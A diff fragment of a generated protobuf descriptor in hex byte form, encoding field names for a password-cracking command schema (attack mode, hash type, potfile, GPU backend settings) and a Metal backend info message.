0x6c, 0x65, 0x46, 0x6f, 0x72, - 0x6d, 0x61, 0x74, 0x52, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, - 0x61, 0x74, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, - 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1e, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, - 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x75, 0x74, 0x66, - 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x1f, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, - 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x36, 0x0a, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, - 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, - 0x18, 0x20, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, - 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, - 0x0a, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x21, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, - 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, - 0x64, 0x6f, 0x75, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x18, 0x23, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x12, 0x12, 0x0a, 0x04, 0x4c, 0x65, 0x66, 0x74, - 0x18, 0x24, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x12, 0x1a, 0x0a, 0x08, - 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x25, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, - 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x52, 0x65, 0x6d, 0x6f, - 0x76, 0x65, 0x18, 0x26, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, - 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, - 0x27, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, - 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, - 0x61, 0x62, 0x6c, 0x65, 0x18, 0x28, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x50, 0x6f, 0x74, 0x66, - 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x6f, - 0x74, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x29, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x50, 0x6f, 0x74, - 0x66, 0x69, 0x6c, 0x65, 0x12, 0x3b, 0x0a, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, - 0x46, 0x72, 0x6f, 0x6d, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x69, 0x6e, 0x67, 0x52, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, - 0x6d, 0x12, 0x37, 0x0a, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x18, - 0x2b, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0a, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, - 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x2c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x44, - 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x67, 0x66, - 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x30, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, - 0x12, 0x2c, 0x0a, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, - 0x65, 0x50, 0x61, 0x69, 0x72, 0x18, 0x31, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x48, 0x63, 0x63, - 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x12, 0x34, - 0x0a, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x32, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x15, 0x4e, - 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, - 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x18, 0x33, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, - 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x65, - 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x18, 0x38, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x42, - 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x6e, 0x63, - 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x18, 0x39, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, - 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x12, 0x1c, 0x0a, 0x09, - 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3a, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x72, - 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3b, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x20, - 0x0a, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x3c, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, - 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x18, 0x3d, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x12, 0x1c, - 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x18, 0x3e, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x12, 0x20, 0x0a, 0x0b, - 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x18, 0x3f, 0x20, 0x03, 0x28, - 0x0d, 0x52, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x12, 0x20, - 0x0a, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x40, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, - 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x41, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2c, 0x0a, 0x11, - 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, - 0x41, 0x18, 0x43, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, - 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x61, - 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x18, 0x44, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, - 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, - 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x45, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, - 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, - 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x46, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, - 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, - 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x47, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, - 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x61, - 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x18, 0x48, 0x20, 0x03, - 0x28, 0x0d, 0x52, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, - 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, - 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x18, 0x49, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x11, 0x4f, - 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, - 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, - 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x4a, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, - 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x34, 0x0a, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, - 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, - 0x4b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, - 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x48, 0x0a, 0x0f, - 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, - 0x4c, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, - 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, - 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, - 0x41, 0x63, 0x63, 0x65, 0x6c, 0x18, 0x4d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, - 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, - 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x18, 0x4e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, - 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x4b, 0x65, - 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x4f, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, - 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, - 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x18, 0x50, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x12, 0x42, 0x61, + 0x24, 0x0a, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, + 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, + 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0b, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, + 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa4, 0x02, 0x0a, 0x10, 0x4d, 0x65, 0x74, 0x61, + 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, + 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, + 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, + 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, + 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, + 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, + 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, + 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, + 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, + 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, + 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x65, + 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xb9, + 0x1e, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, + 0x39, 0x0a, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x0a, + 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, + 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, + 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x48, 0x61, + 0x73, 0x68, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x48, 0x61, 0x73, 0x68, + 0x65, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x48, 0x65, 0x78, 0x43, + 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x48, 0x65, + 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x48, 0x65, 0x78, 0x53, + 0x61, 0x6c, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, + 0x6c, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, + 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, + 0x6c, 0x69, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x18, 0x08, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x12, 0x36, 0x0a, 0x16, 0x44, 0x65, + 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, + 0x61, 0x62, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x44, 0x65, 0x70, 0x72, + 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, + 0x6c, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x0a, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x74, + 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, + 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x74, + 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x2c, 0x0a, 0x11, + 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, + 0x74, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, + 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, + 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x0e, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, + 0x61, 0x62, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, + 0x73, 0x69, 0x6e, 0x67, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4b, 0x65, 0x65, 0x70, + 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x12, 0x28, 0x0a, 0x0f, 0x53, 0x65, 0x6c, 0x66, + 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, + 0x6c, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x18, 0x11, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x24, + 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x18, + 0x12, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, + 0x74, 0x61, 0x74, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, + 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, + 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, + 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x18, 0x14, 0x20, 0x01, 